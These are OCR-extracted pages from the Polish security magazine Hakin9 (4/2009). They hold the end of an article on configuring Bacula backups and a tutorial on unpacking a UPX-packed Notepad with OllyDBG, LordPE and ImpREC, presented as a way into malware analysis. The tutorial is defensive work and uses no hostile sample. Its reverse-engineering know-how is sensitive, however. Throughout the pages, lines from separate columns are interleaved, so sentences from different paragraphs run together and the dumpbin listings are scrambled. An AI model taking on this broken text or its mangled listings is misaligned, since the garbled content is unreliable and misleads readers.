Options, pozwalająca na wymuszenie takiego harmonogramu powoduje, że określono, że dane o plikach mają być
dodatkowych działań. W tym przypadku dodatkowe obciążenie systemu wynikające usuwane po 3 miesiącach, dane o
oprócz wykonania kopii plików obliczona z wykonywania kopii zapasowych wykonywanych zadaniach po pół roku oraz
i zapisana zostanie także wartość MD5 generowane jest w czasie, w którym że usunięcie tych danych powinno nastąpić
dla każdego z plików. Może być ona większość użytkowników nie pracuje. automatycznie.
wykorzystywana do weryfikacji danych Dodatkowo w harmonogramie określone Sekcja Storage określa dostępny
w momencie ich odzyskiwania. Każde zostało, że dane mają być tymczasowo moduł typu Storage oraz wykorzystywane
określenie folderu należy rozumieć jako przechowywane przed zapisaniem na w ramach modułu urządzenie zapisujące
określenie rekursywne. docelowym nośniku. dane. Jak pokazano na Listingu 12, w sekcji
Podsekcja Exclude jest bardzo W harmonogramie określone zostały tej definiuje się jej nazwę (wykorzystywana
przydatnym narzędziem. Można bowiem różne poziomy kopii. Tymczasem w definicji w definicji zadań), adres maszyny, na której
w sekcji Include wyspecyfikować jako zadania podany został poziom kopii pracuje moduł Storage, numer portu, na
zbiór plików katalog główny systemu przyrostowy. Jeżeli w harmonogramie którym oczekuje na połączenia, hasło,
(np. / ), a w sekcji Exclude usunąć określony jest inny poziom kopii zapasowej, nazwę urządzenia (w przypadku urządzenia
zbędne jego pliki lub katalogi (np. /tmp). wtedy wykonany zostanie poziom określony zmieniającego podaje się nazwę właśnie
Podobnie w systemie Windows warto przez harmonogram. W specyfikacji tego urządzenia, a nie napędu), typ
pamiętać o tym, że nie jest konieczne harmonogramu można redefiniować także nośnika danych, określenie, czy urządzenie
wykonywanie kopii np. pliku pagefile.sys inne parametry zadań. jest urządzeniem zmieniającym, oraz
czy pamięci podręcznej przeglądarek Sekcja Client definiuje maszynę, która ilość jednoczesnych zadań, jakie mogą
internetowych dla wszystkich użytkowników, ma podlegać wykonywanemu zadaniu. przesyłać dane do tego modułu. Jeżeli w
jak również wszelkiego rodzaju plików Zgodnie z przykładem (Listing 11) definiuje definicji modułu Storage zdefiniowana jest
tymczasowych. Odpowiednie zaplanowanie się nazwę klienta, którą wykorzystuje się w inna wartość, wtedy obowiązuje ta niższa.
i skonfigurowanie zbioru plików pozwoli na definicjach zadań, adres maszyny (może Sekcja Catalog zawiera konfigurację
znaczną oszczędność czasu i przestrzeni to być nazwa domenowa lub adres IP), modułu o tej samej nazwie. Sprowadza
przechowywania danych. numer portu, na którym nasłuchuje na się to do podania nazwy katalogu
Sekcja Schedule określa połączenia od modułu Director, moduł oraz parametrów pozwalających na
harmonogram wykonywania kopii Catalog, w którym przechowywane nawiązanie komunikacji z bazą danych.
zapasowych. Na Listingu 10. przedstawiony mają być informacje o kopiach danych W prezentowanym przypadku (Listing
jest harmonogram, który w pierwszą tego klienta, hasło, przy którego pomocy 13) wykorzystywana była baza danych
niedzielę miesiąca wykonuje kopię pełną, moduł Director może komunikować postgresql.

R E K L A M A

PROMISE

4/2009 HAKIN9 59
OBRONA
Ostatnią omawianą sekcją konfiguracji wykonania kopii danych na żądanie, danych. Najczęściej wykorzystywanym
modułu Director jest sekcja Pool. odzyskania danych oraz całą gamę jest tryb 5, a więc odzyskanie najnowszej
Definiuje ona zbiór nośników oraz operacji monitorujących pracę systemu. kopii danych.(Listing 16, 17)
sposób przechowywania informacji o ich Poniżej zaprezentowane zostaną Po wybraniu trybu pojawi się pytanie
wykorzystaniu. W przykładowej konfiguracji przykłady uruchomienia zadania na o wybór klienta, dla którego dane będą
(Listing 14) w sekcji tej zdefiniowana została żądanie oraz odzyskania danych z odzyskiwane oraz pytanie o wybór
nazwa zbioru nośników, ich liczba, moduł kopii.(Listing 15) zbioru plików (o ile dla danego klienta
Storage , który wykorzystuje ten zbiór Do wykonania kopii zapasowej zdefiniowano więcej niż jeden), z którego
nośników, typ zbioru nośników (obecnie danych poza zleconym harmonogramem dane mają być odzyskane. Po określeniu
poprawna jest tylko wartość Backup), to, służy polecenie run konsoli systemu tych parametrów zbudowane zostanie
czy nośniki mogą być nadpisywane, fakt, że Bacula. drzewo plików znajdujących się w kopii.
nadpisywanie nośników rozpocznie się od Po wydaniu polecenia run pojawia Administrator zostanie przeniesiony
najstarszego, oraz że usuwanie informacji się lista możliwych do uruchomienia do trybu wyboru plików. W trybie tym
o wykorzystywaniu nośników nastąpi zadań. Po wybraniu zadania, gdy pojawi można posługiwać się standardowymi
automatycznie po upływie 365 dni od ich się pytanie OK to run? (yes/mod/ poleceniami cd czy ls w celu przeglądania
użycia. Dopiero po upływie tego czasu no): , należy wpisać yes. W każdym zawartości kopii danych. Polecenie mark
możliwe będzie nadpisanie nośników. momencie działania konsoli można służy do określenia plików i katalogów
Po dokonaniu konfiguracji wykonać polecenie messages . Służy (wraz z podkatalogami), które mają zostać
wszystkich elementów systemu ono do wyświetlenia komunikatów, jakie odzyskane z kopii. Polecenie unmark może
konieczne jest uruchomienie demonów przesyłane są przez poszczególne odznaczyć zaznaczone pliki. Polecenie
odpowiadających za działanie moduły systemu. Komunikaty te mogą done powoduje opuszczenie trybu wyboru
poszczególnych modułów. Skrypty być także wysyłane pocztą elektroniczna plików i rozpoczęcie odzyskiwania danych.
startowe dostarczane są wraz z do administratora (opis konfiguracji Po wydaniu polecenia done
dystrybucją systemu Bacula. Konieczna obsługi komunikatów ze względu na pojawi się podsumowanie zadania i
jest także wcześniejsza konfiguracja swoją prostotę został tutaj pominięty). administrator ma wtedy możliwość
bazy danych. Wraz z systemem Bacula Opuszczenie konsoli następuje przez określenia dodatkowych parametrów
dostarczane są niezbędne skrypty do wydanie polecenia quit . Można (np. zdecydowania, gdzie dane mają
tego celu. Opis całej operacji znajduje to zrobić w dowolnym momencie zostać zapisane) i uruchomienia procesu
się w dokumentacji systemu. – nie jest konieczne oczekiwanie na odzyskiwania danych.
Po uruchomieniu demonów zakończenie wykonywania zadania.
cały system zaczyna pracę. Kopie Ponowne połączenie do konsoli i wydanie Podsumowanie
zapasowe wykonywane są zgodnie z polecenia messages spowoduje Przedstawiony opis systemu Bacula
harmonogramem, a przy wykorzystaniu wyświetlenie wszystkich komunikatów, nie jest na pewno opisem kompletnym
urządzenia zmieniającego nie jest jakie zostały wygenerowane od (choćby zważywszy na obszerność samej
konieczna żadna ingerencja człowieka. ostatniego wydania tego polecenia. dokumentacji tego systemu – około 750
Należy jednak pamiętać o podstawowej Proces odzyskania danych jest stron). Zaprezentowane zostało jedynie
zasadzie. Samo wykonanie kopii bardziej skomplikowany, a to ze przykładowe środowisko wraz z jego
zapasowej nie daje pewności odzyskania względu na fakt, że nie korzysta się konfiguracją. Mam jednak nadzieję, iż
danych w niej zawartych. Konieczne jest ze zdefiniowanego zadania, co więcej opis ten pozwoli zapoznać się wstępnie z
przeprowadzenie okresowych testów – nie zawsze odzyskuje się wszystkie tym naprawdę funkcjonalnym systemem
odzyskania danych. Odzyskania danych dane, najczęściej jest to tylko ich i zachęci do jego używania. W celu
można dokonywać za pomocą konsoli pewien podzbiór. Konieczne jest w uzyskania dodatkowych informacji na
administratora (o ile nie zostało w takim razie określenie danych, które temat użytkowania i konfiguracji systemu
harmonogramie umieszczone zadanie mają zostać odzyskane. Do odzyskania odsyłam do strony internetowej projektu
odzyskujące dane periodycznie). W danych służy polecenie restore. W oraz dokumentacji.
większości środowisk takie działanie sytuacji przykładowej, gdy dostępny
nie jest jednak uzasadnione, gdyż z jest tylko jeden moduł Catalog , jest Marcin Klamra
Specjalista ds. bezpieczeństwa firmy CCNS SA, asystent
odzyskiwania danych nie korzystamy on automatycznie wybierany. Kolejnym w Instytucie Teleinformatyki Politechniki Krakowskiej. Od
1999 roku zajmuje się zagadnieniami administracji
periodycznie, a incydentalnie – w krokiem jest wybór trybu odzyskiwania systemów komputerowych i bezpieczeństwem
przypadku awarii lub błędu. w sieciach komputerowych. Na stałe związany z
firmą CCNS SA, w której zajmuje się rozwiązaniami
bezpieczeństwa sieciowego. Jako Certyfikowany Trener
Praca W Sieci WatchGuard Inc. prowadzi szkolenia w Autoryzowanym
z konsolą administratora Centrum Szkoleniowym WatchGuard, stworzonym przez
firmę CCNS SA.
Z poziomu konsoli administratora • http://www.bacula.org, Swoją wiedzę pogłębia uczestnicząc jako asystent
• http://www.rsnapshot.org, naukowy w pracach badawczych Instytutu Teleinformatyki
(narzędzie bconsole) można wykonywać Politechniki Krakowskiej.
• http://www.finkproject.org.
operacje uruchomienia zadania, Kontakt z autorem: m.klamra@ccns.krakow.pl

60 HAKIN9 4/2009
OBRONA
0X0BADDAED

Walka z
pakerami
Stopień trudności

Analiza złośliwego oprogramowania wymaga często znajomości


technik pakowania i zaciemniania kodu binarnego, jakie stosują
autorzy malware'u. W tym artykule dowiecie się, w jaki sposób
obejść te zabezpieczenia i odpakować program do postaci
nadającej się do dalszego badania w deasemblerze.

K
ażdy, kto miał do czynienia z debuggera, kończą działanie lub wykonują
malware'em, z pewnością spotkał się inną zaplanowaną wcześniej akcję (np.
również ze zjawiskiem pakowania kodu spowodowanie restartu maszyny, infekcja
binarnego (ang. runtime packing). Jest to systemu etc.).
technika takiej zmiany pliku wykonywalnego, Dziś poznacie kilka podstawowych
przy której zastosowaniu analiza w sposobów na to, jak radzić sobie z pakerami.
deasemblerze jest znacznie utrudniona,
ale sam program nadal działa poprawnie. Środowisko testowe
Or yginalny kod zostaje spakowany, a do pliku Zanim przejdziemy do meritum, warto
dodany zostaje krótki program wykonujący najpier w nieco się przygotować. Tak samo,
operację odwrotną. Tym samym w czasie jak w artykule Analiza malware z numeru
uruchamiania takiej binarki loader Windows 03/2009 magazynu Hakin9, przydatne okaże
najpier w ładuje do pamięci kod pakera i się środowisko testowe, w któr ym będziecie
przekazuje mu kontrolę, zaś ten dekoduje mogli swobodnie poeksper ymentować i
właściwy program i wykonuje go. zdobywać nowe umiejętności. Jednakże na
W rzeczywistości sytuacja nie jest nasze potrzeby nie będziemy tym razem
taka prosta. Sam fakt spakowania pliku operować na niebezpiecznym kodzie,
wykonywalnego nie determinuje jego złych ponieważ do nauki nie jest to niezbędne. W
zamiarów. Często producenci oprogramowania tym przypadku posłużymy się sprawdzonym
Z ARTYKUŁU używają tych samych metod do ukr ycia oprogramowaniem, dostępnym w każdym
DOWIESZ SIĘ swojego autorskiego kodu przed analizą komputerze z systemem Windows. Mam na
jakie techniki stosuje się do (ukr ywanie błędów programistycznych, myśli starego, poczciwego Notepada.
pakowania plików binarnych, chronionych patentami algor ytmów, haseł, etc.). Tak jak w poprzednim artykule, moje
jak odwrócić ten proces. Dodatkowo liczba dostępnych pakerów laboratorium składa się z:
mierzona jest w setkach, jeśli nie w tysiącach,
CO POWINIENEŚ
WIEDZIEĆ a autorzy złośliwego software'u prześcigają • stacji z zainstalowanym systemem Linux,
się w wymyślaniu i tworzeniu nowych. Zdarzają • oprogramowania VMWare Ser ver w celu
znajomość działania systemu
Windows, się paker y, które rozpakowują kod programu zapewnienia wirtualizacji,
znajomość formatu plików PE, tylko na moment jego uruchomienia, aby po • w pełni zakutalizowanego systemu Windows
podstawowa znajomość chwili, gdy kod nie jest już używany, spakować XP Professional SP3 (pracującego pod
asemblera x86, go ponownie. Przy tym sprawdzają, czy VMWare w tr ybie Guest).
znajomość debuggera OllyDBG. program nie jest śledzony i, w razie wykr ycia

62 HAKIN9 4/2009
TECHNIKI ODPAKOWYWANIA MALWARE'U

Listing 1. Wynik polecenia dumpbin /headers notepad.exe


Microsoft (R) COFF/PE Dumper Version 8.00.50727.42 250 [ D0] RVA [size] of Bound Import Directory
1000 [ 348] RVA [size] of Import Address Table
Copyright (C) Microsoft Corporation. All rights reserved. Directory
Dump of file notepad.exe 0 [ 0] RVA [size] of Delay Import Directory
0 [ 0] RVA [size] of COM Descriptor
PE signature found Directory
File Type: EXECUTABLE IMAGE 0 [ 0] RVA [size] of Reserved Directory

FILE HEADER VALUES SECTION HEADER #1

14C machine (x86) .text name


3 number of sections 7748 virtual size
48025287 time date stamp Sun Apr 13 20:35:51 2008 1000 virtual address (01001000 to 01008747)
0 file pointer to symbol table 7800 size of raw data
0 number of symbols 400 file pointer to raw data (00000400 to 00007BFF)
E0 size of optional header 0 file pointer to relocation table
10F characteristics 0 file pointer to line numbers
Relocations stripped 0 number of relocations
Executable 0 number of line numbers
Line numbers stripped 60000020 flags
Symbols stripped Code
32 bit word machine Execute Read

OPTIONAL HEADER VALUES Debug Directories

10B magic # (PE32) Time Type Size RVA Pointer


7.10 linker version -------- ------ -------- -------- --------
7800 size of code 48025287 cv 24 000018F0 CF0 Format: RSDS,
A600 size of initialized data {506F162C-C6A5-453B-8F9E-DB55AF72CD9B}, 1,
0 size of uninitialized data notepad.pdb
739D entry point (0100739D)
1000 base of code SECTION HEADER #2
9000 base of data
1000000 image base (01000000 to 01013FFF) .data name
1000 section alignment 1BA8 virtual size
200 file alignment 9000 virtual address (01009000 to 0100ABA7)
5.01 operating system version 800 size of raw data
5.01 image version 7C00 file pointer to raw data (00007C00 to 000083FF)
4.00 subsystem version 0 file pointer to relocation table
0 Win32 version 0 file pointer to line numbers
14000 size of image 0 number of relocations
400 size of headers 0 number of line numbers
18700 checksum C0000040 flags
2 subsystem (Windows GUI) Initialized Data
8000 DLL characteristics Read Write
Terminal Server Aware
40000 size of stack reserve SECTION HEADER #3
11000 size of stack commit
100000 size of heap reserve .rsrc name
1000 size of heap commit 8948 virtual size
0 loader flags B000 virtual address (0100B000 to 01013947)
10 number of directories 8A00 size of raw data
0 [ 0] RVA [size] of Export Directory 8400 file pointer to raw data (00008400 to 00010DFF)
7604 [ C8] RVA [size] of Import Directory 0 file pointer to relocation table
B000 [ 8948] RVA [size] of Resource Directory 0 file pointer to line numbers
0 [ 0] RVA [size] of Exception Directory 0 number of relocations
0 [ 0] RVA [size] of Certificates Directory 0 number of line numbers
0 [ 0] RVA [size] of Base Relocation
Directory 40000040 flags
1350 [ 1C] RVA [size] of Debug Directory Initialized Data
0 [ 0] RVA [size] of Architecture Directory Read Only
0 [ 0] RVA [size] of Global Pointer
Directory Summary
0 [ 0] RVA [size] of Thread Storage
Directory 2000 .data
18A8 [ 40] RVA [size] of Load Configuration 9000 .rsrc
Directory 8000 .text

4/2009 HAKIN9 63
OBRONA
Dodatkowym oprogramowaniem, jakim Wstępne przygotowania OEP), będziemy szukać w trakcie
posłużymy się przy badaniach, są: Na początek obejrzymy sobie or yginalny rozpakowywania pliku. Naturalnie w
plik binarny Notepada, aby móc później rzeczywistości, gdy mamy do czynienia z
• PEiD – najpopularniejszy identyfikator zaobserwować zmiany oraz wer yfikować prawdziwym malware'm, OEP pozostaje
pakerów, nasze domysły. W tym celu zbierzemy nieznany do momentu całkowitego jego
• OllyDBG – znany debugger poziomu kilka informacji o tym programie, rozpakowania. Jednakże dla naszych
użytkownika (Ring3), wykorzystując dumpbin.exe z pakietu potrzeb edukacyjnych warto będzie go
• LordPE – narzędzie do manipulacji Microsoft Visual Studio. Wynik polecenia znać.
nagłówkiem plików PE, znajdziecie na Listingu 1. Teraz spakujemy ten plik jednym z
• ImpREC – rekonstruktor tablicy IAT, Jak widać, jest to plik wykonywalny w dostępnych publicznie pakerów – UPX.
• BinText – narzędzie do wyszukiwania formacie PE32 pod platformę Windows. Adres znajdziecie w ramce „Narzędzia”.
ciągów znakowych w plikach Składa się z trzech sekcji, adres Uwaga! Warto pracować na kopii
binarnych, pierwszej instrukcji (ang. Entry Point, or yginalnego Notepada.
• dumpbin – program analizujący pliki EP) wynosi 0x739D, co – uwzględniając Wydajemy polecenie:
binarne, część pakietu Microsoft adres bazowy (ang. Image Base)
Visual Studio. 0x1000000 – przekłada się na adres C:\>upx.exe notepad.exe
bezwzględny 0x100739D. Tego właśnie
Oczywiście, Wasze laboratorium nie musi adresu, czyli tzw. oryginalnego adresu i po chwili plik jest spakowany. Zobaczmy,
dokładnie odpowiadać tej konfiguracji. wejściowego (ang. Original Entry Point , jak bardzo się zmienił (Listing 4).
Zmianie uległ cały plik. Mamy
teraz 3 sekcje ( .rsrc, UPX0, UPX1), a
adres wejścia (EP) wynosi 0x1015360.
Warto też sprawdzić, czy program się
uruchamia oraz jakie ciągi znaków
Rysunek 1. Komunikat debuggera OllyDBG zawiera plik przed i po spakowaniu. Do
tego celu warto wykorzystać BinText
(patrz Ramka Narzędzia).
Jak pewnie zauważyliście, program
uruchamia się bez większych problemów,
choć zawartość ciągów ASCII jest
diametralnie różna. No cóż, sprawdźmy
zatem, co stało się z Notatnikiem.
Z pomocą przychodzi OllyDBG ,
do którego załadujemy spakowany
plik. Debugger w czasie analizy
wyświetli komunikat informujący, że
prawdopodobnie plik jest spakowany
i dalsza analiza może nie być rzetelna
(patrz Rysunek 1).
Wybieramy No i lądujemy pod
adresem 0x1015360, czyli EP, któr y
Rysunek 2. OEP przed rozpakowaniem
wcześniej zanotowaliśmy. Teraz powstaje
pytanie, co dalej ?
Jest kilka sposobów poradzenia
sobie z pakerem. Pierwszy,
najżmudniejszy, polega na przejrzeniu
krok po kroku, co robi paker i wyszukaniu
magicznego skoku do or yginalnego EP.
Czasami może zająć to sporo czasu,
ale w miarę zdobywania większego
doświadczenia, proces ten skraca się
znacząco.
Druga metoda, standardowa,
wykorzystuje zmiany adresu stosu,
wskazywanego przez rejestr ESP.
Rysunek 3. Skok do OEP Wiele pakerów na samym początku

64 HAKIN9 4/2009
TECHNIKI ODPAKOWYWANIA MALWARE'U

kodu zachowuje jeden bądź kilka


rejestrów na stosie, aby po zakończeniu
rozpakowywania przywrócić pierwotny
stan procesora i wykonać skok do OEP.
Istnieją inne metody pozwalające na
Rysunek 4. Komunikat błędu przy ładowaniu pliku notepad1.exe
odpakowanie pliku. Wykorzystują one
wyjątki, jakie generowane są w czasie
pracy pakera, lub cechy architektur y
TLB procesorów Intela pozwalające na
śledzenie zapisów i wykonywania kodu
Rysunek 5. Mapa sekcji notepad1.exe
w pamięci procesu. Ta ostatnia technika
jest wykorzystywana m.in. w debuggerze
OllyDBG jako plugin OllyBONE autorstwa
Joe'go Stewarta (patrz ramka Narzędzia).
Metodami tego rodzaju nie będziemy się
jednak dziś zajmować.
Czas zatem na praktykę.

Metoda śledzenia
Zanim przejdziemy do ręcznego
rozpakowywania programu, sprawdźmy,
co znajduje się pod znanym nam
adresem OEP, czyli 0x100739D. W tym
celu w oknie CPU wciskamy <CTRL>+G
i wpisujemy powyższy adres. Wynik Rysunek 6. Zmiana adresu kodu w pliku notepad1.exe
znaleźć można na Rysunku 2.
UPX w czasie pakowania wyzerował
Listing 2. Początek kodu pakera
ten obszar pamięci, przygotowując go
01015360 > 60 PUSHAD
do późniejszego zapisania or yginalnego 01015361 BE 00100101 MOV ESI, notepad.01011000
kodu. W oknie Memor y (<ALT>+M ) 01015366 8DBE 0000FFFF LEA EDI, DWORD PTR DS:[ESI+FFFF0000]
zauważymy, że ten obszar leży w 0101536C 57 PUSH EDI; ntdll.7C910208

pierwszej sekcji – UPX0.


Listing 3. Koniec kodu pakera i skok OEP
Spróbujmy rozpakować ten program.
010154DD 61 POPAD
Na początku EP znajdziemy kod: 010154DE 8D4424 80 LEA EAX, DWORD PTR SS:[ESP-80]
przedstawiony w Listingu 2.
UPX zachowuje rejestr y procesora 010154E2 6A 00 PUSH 0
010154E4 39C4 CMP ESP, EAX
na stosie (przyda się nam to przy
metodzie standardowej), do rejestru 010154E6 ^ 75 FA JNZ SHORT notepad.010154E2
ESI zapisuje wartość 0x1011000, a 010154E8 83EC 80 SUB ESP, -80
do EDI – sumę, a w zasadzie różnicę 010154EB - E9 AD1EFFFF JMP notepad.0100739D

0x1011000+0xFFFF0000. W rezultacie
rejestr EDI zawiera wartość 0x1001000,
która odpowiada adresowi początku
sekcji .text or yginalnego pliku (patrz Narzędzia
Listing 5). Narzędzia wykorzystane w artykule:
Przez następne kilka ekranów widać, • VMWare Server – http://www.vmware.com,
jak paker operuje na tych adresach, • PEiD – http://peid.has.it ,
odpakowując sukcesywnie cały program, • UPX – http://upx.sourceforge.net ,
aż do adresu 0x10154EB, w któr ym • OllyDBG – http://www.ollydbg.de,
wykonywany jest skok pod znany nam • BinText – http://www.foundstone.com/us/resources/proddesc/bintext.htm,
• OllyDump – http://www.woodmann.com/collaborative/tools/index.php/OllyDump,
już adres 0x100739D, czyli OEP (patrz
• OllyBONE – http://www.joestewart.org/ollybone/,
Rysunek 3).
• LordPE – http://www.woodmann.net/collaborative/tools/index.php/LordPE,
Ustawiamy breakpoint na tym adresie • ImpREC – http://www.woodmann.com/collaborative/tools/index.php/ImpREC,
(klawisz <F2>) i uruchamiamy program • MS Visual Studio – http://www.microsoft.com/poland/developer/produkty/vstudio/express/
(<F9>). Po chwili proces się zatrzymuje i visualc/default.mspx.
debugger przejmuje kontrolę, ustawiając

4/2009 HAKIN9 65
OBRONA
kursor na wspomnianym adresie.
Naciskamy teraz klawisz <F8> i jesteśmy
w domu (OEP). Zrzucamy następnie
proces do pliku notepad1.exe, stosując
plugin do OllyDBG o nazwie OllyDump
(patrz ramka Narzędzia), pamiętając, aby
zaznaczyć opcję Rebuild import .
Następnie ładujemy nowo utworzony
plik ponownie do debuggera. OllyDBG
wyświetli kolejny komunikat (Rysunek
4), tym razem informujący, że Entry
Point znajduje się poza obszarem kodu.
Gdy naciśniemy OK , proces ładowania
zostanie dokończony i po naciśnięciu
<F9> Notatnik uruchomi się bez
problemu.
Teoretycznie można by pozostać przy
obecnym stanie pliku, ponieważ nasz
cel został osiągnięty – program został
rozpakowany i działa. Jednakże, dla
lepszego zrozumienia tego, co robimy,
lepiej pozbyć się tego komunikatu. Gdy
Rysunek 7. Ustawienie sprzętowego breakpointa spojrzymy na mapę pamięci (<ALT>+M
– Rysunek 5), zauważymy, że sekcja kodu
zaczyna się od adresu 0x1011000, czyli
początku sekcji UPX1, natomiast nasz
EP ma adres 0x100739D i leży poza
zakresem UPX1. Musimy zatem wskazać
w nagłówku PE właściwe miejsce kodu,
a więc sekcję UPX0 o początku pod
adresem 0x1001000.
Rysunek 8. Komunikat ImpREC Do tego celu wykorzystamy narzędzie
o nazwie LordPE. Jest to bardzo przydatny
program, pozwalający na manipulację
wszystkimi elementami nagłówka pliku
PE. Zamykamy debugger i ładujemy plik
notepad1.exe do LordPE (przez PE Editor).
W polu BaseOfCode zmieniamy wartość
na 1000 (patrz Rysunek 6), następnie
wybieramy Save i OK, a później Rebuild
PE, wskazując ten sam plik notepad1.exe.
Jeśli wszystko przebiegło prawidłowo,
program załadujemy do OllyDBG bez
żadnych problemów. Na mapie pamięci
możemy zweryfikować, czy sekcja UPX0
jest oznaczona jako kod. Gratuluję!

Metoda standardowa
Teraz wykonamy tę samą operację
rozpakowywania, ale z wykorzystaniem
stosu. Ładujemy spakowany UPX-em
notepad.exe do OllyDBG. Spójrzmy na
instrukcję znajdującą się pod adresem EP:

01015360 > 60
Rysunek 9. Odnaleziona tablica IAT PUSHAD

66 HAKIN9 4/2009
TECHNIKI ODPAKOWYWANIA MALWARE'U

Listing 4. Informacje o pliku PE po spakowaniu UPX-em


Microsoft (R) COFF/PE Dumper Version 8.00.50727.42 0 [ 0] RVA [size] of Debug Directory
0 [ 0] RVA [size] of Architecture Directory
Copyright (C) Microsoft Corporation. All rights reserved. 0 [ 0] RVA [size] of Global Pointer
Dump of file notepad.exe Directory
0 [ 0] RVA [size] of Thread Storage
PE signature found Directory
File Type: EXECUTABLE IMAGE 154F0 [ 48] RVA [size] of Load Configuration
Directory
FILE HEADER VALUES 0 [ 0] RVA [size] of Bound Import Directory
0 [ 0] RVA [size] of Import Address Table
14C machine (x86) Directory
3 number of sections 0 [ 0] RVA [size] of Delay Import Directory
0 [ 0] RVA [size] of COM Descriptor
48025287 time date stamp Sun Apr 13 20:35:51 2008 Directory
0 file pointer to symbol table 0 [ 0] RVA [size] of Reserved Directory

0 number of symbols SECTION HEADER #1


E0 size of optional header
UPX0 name
10F characteristics 10000 virtual size
1000 virtual address (01001000 to 01010FFF)
Relocations stripped 0 size of raw data
Executable 400 file pointer to raw data
Line numbers stripped 0 file pointer to relocation table
Symbols stripped 0 file pointer to line numbers
32 bit word machine 0 number of relocations
0 number of line numbers
OPTIONAL HEADER VALUES E0000080 flags
Uninitialized Data
10B magic # (PE32) Execute Read Write
7.10 linker version
SECTION HEADER #2
5000 size of code
8000 size of initialized data UPX1 name
5000 virtual size
10000 size of uninitialized data 11000 virtual address (01011000 to 01015FFF)
15360 entry point (01015360) 4600 size of raw data
400 file pointer to raw data (00000400 to 000049FF)
11000 base of code 0 file pointer to relocation table
16000 base of data 0 file pointer to line numbers
1000000 image base (01000000 to 0101DFFF) 0 number of relocations
1000 section alignment 0 number of line numbers
200 file alignment
5.01 operating system version E0000040 flags
5.01 image version Initialized Data
4.00 subsystem version Execute Read Write
0 Win32 version
1E000 size of image SECTION HEADER #3
1000 size of headers
0 checksum .rsrc name
2 subsystem (Windows GUI) 8000 virtual size
8000 DLL characteristics 16000 virtual address (01016000 to 0101DFFF)
Terminal Server Aware 7200 size of raw data
40000 size of stack reserve 4A00 file pointer to raw data (00004A00 to 0000BBFF)
11000 size of stack commit 0 file pointer to relocation table
100000 size of heap reserve 0 file pointer to line numbers
1000 size of heap commit 0 number of relocations
0 loader flags 0 number of line numbers
10 number of directories C0000040 flags
Initialized Data
0 [ 0] RVA [size] of Export Directory Read Write
1CE04 [ 24C] RVA [size] of Import Directory
16000 [ 6E04] RVA [size] of Resource Directory Summary
0 [ 0] RVA [size] of Exception Directory
0 [ 0] RVA [size] of Certificates Directory 8000 .rsrc
0 [ 0] RVA [size] of Base Relocation 10000 UPX0
Directory 5000 UPX1

4/2009 HAKIN9 67
OBRONA
Oznacza to, że paker zachowuje do naszego OEP. Aby szybciej dojść do rekonstrukcji tablicy. Uruchamiamy
stan rejestrów przed rozpoczęciem do skoku pod adresem 0x10154EB, ImpREC i wybieramy z listy proces
rozpakowywania. Tym samym rejestr wystarczy usunąć breakpoint sprzętowy, notepad.exe. Następnie w polu OEP
ESP będzie wskazywał na wierzchołek a za pętlą ustawić zwykły breakpoint, wpisujemy odnaleziony adres wejścia
stosu, pod któr ym zachowany został tj. przejść kursorem na 0x10154E8, (odejmując wcześniej adres bazowy
ostatni rejestr – EDI, co w moim nacisnąć klawisze <F2> oraz <F9>, a 0x1000000 ), czyli 739D, i naciskamy
przypadku wynosi 0x7FFA4. Jeżeli w następnie dwa razy <F8> i – jesteśmy w IAT AutoSearch. ImpREC wyświetli
trakcie rozpakowywania kod wykona OEP. komunikat, że znalazł adres w pamięci,
operację dostępu do tego adresu, może Dalej cała operacja postępuje tak pod któr ym może znajdować się tablica
to oznaczać, że paker zaczyna sprzątać samo, jak przy pierwszej metodzie. z adresami importów (patrz Rysunek 8).
po sobie, tj. przywraca stan procesora Jednakże w trakcie zrzucania procesu Wybieramy OK i naciskamy Get Imports.
sprzed EP. A dla nas może to świadczyć do pliku (notepad2.exe) nie zaznaczajcie W efekcie w oknie Imported Functions
o bliskim końcu kodu pakera i r ychłym opcji Rebuild import , sami odtworzymy Found wyświetli się lista odnalezionych
skoku do or yginalnego OEP. importy. bibliotek i funkcji (Rysunek 9). Dla
Aby trochę lepiej zrozumieć wstęp wer yfikacji, czy wszystkie adresy są
teoretyczny, przyjdźmy do praktyki. Rekonstrukcja IAT prawidłowe, naciskamy Show Invalid. Po
Naciskamy klawisz <F8> i zauważymy, Na koniec zajmiemy się rekonstrukcją tym wszystkim wybieramy Fix Dump i
że wartość rejestru ESP uległa zmianie tablicy IAT rozpakowanego pliku. wskazujemy wcześniej zrzucony plik (w
(w moim przypadku, jak wcześniej Gwoli przypomnienia –tablica ta moim przypadku notepad2.exe). ImpREC
napomknąłem, wynosi ona 0x7FFA4). zawiera adresy funkcji bibliotecznych utworzy nowy plik ze znakiem _ na końcu
Następnie ustawimy na tym adresie importowanych przez program i jest nazwy (notepad2_.exe).
breakpoint sprzętowy. Aby to zrobić, ona wypełniana przez loader Windows Wydawałoby się, że cała operacja
prawym klawiszem myszy klikamy w czasie inicjalizacji procesu w była bardzo łatwa do przeprowadzenia.
wartości rejestru ESP, wybieramy pamięci. Więcej informacji na ten temat W rzeczywistości paker y potrafią
Follow in Dump, następnie w oknie znajdziecie w dokumencie An In-Depth znacząco utrudnić ten proces.
Dump zaznaczamy 4 pierwsze bajty Look into the Win32 Portable Executable Przykładowo do tablicy IAT potrafią
i ustawiamy na nich wspomniany File Format , dostępnym na stronie wstawić niepoprawne adresy (np.
breakpoint (patrz Rysunek 7). Microsoftu (http://msdn.microsoft.com/ 0xFFFFFFFF ) lub przekierowania w
Potem uruchamiamy program (<F9>). en-us/magazine/cc301805.aspx). inne miejsce kodu pakera. Możliwe, że
Debugger zatrzyma się natychmiast na Do tej por y korzystaliśmy sam ImpREC odnalazł nie wszystkie
adresie 0x10154DE, ponieważ jeden bajt z możliwości automatycznej naprawy rekordy tablicy. W takich przypadkach
wcześniej mieliśmy instrukcję POPAD, tablicy IAT, jaką daje plugin OllyDump. trzeba przyjrzeć się ponownie plikowi
wykonującą operację odwrotną do Teraz skorzystamy z innego narzędzia o binarnemu i ręcznie poprawić błędy.
tej, jaką mieliśmy pod EP, tj. zdjęcie ze nazwie Import REConstructor (imprec)
stosu wcześniej zachowanych wartości stworzonego właśnie do tego celu. Podsumowanie
rejestrów. (Listing 3)) Po zrzuceniu odpakowanego procesu Walka z pakerami może być fascynująca,
Następnie paker umieszcza na stosie Notatnika do pliku nie zamykamy ale z pewnością jest bardzo żmudna
4 x 0x80 bajtów zer (tj. 512) i skacze debuggera. Będzie on nam potrzebny i pracochłonna. Liczba możliwości
zmian pliku PE jest przeogromna i
wynika wprost ze złożoności tego
Listing 5. Sekcja .text oryginalnego Notepada
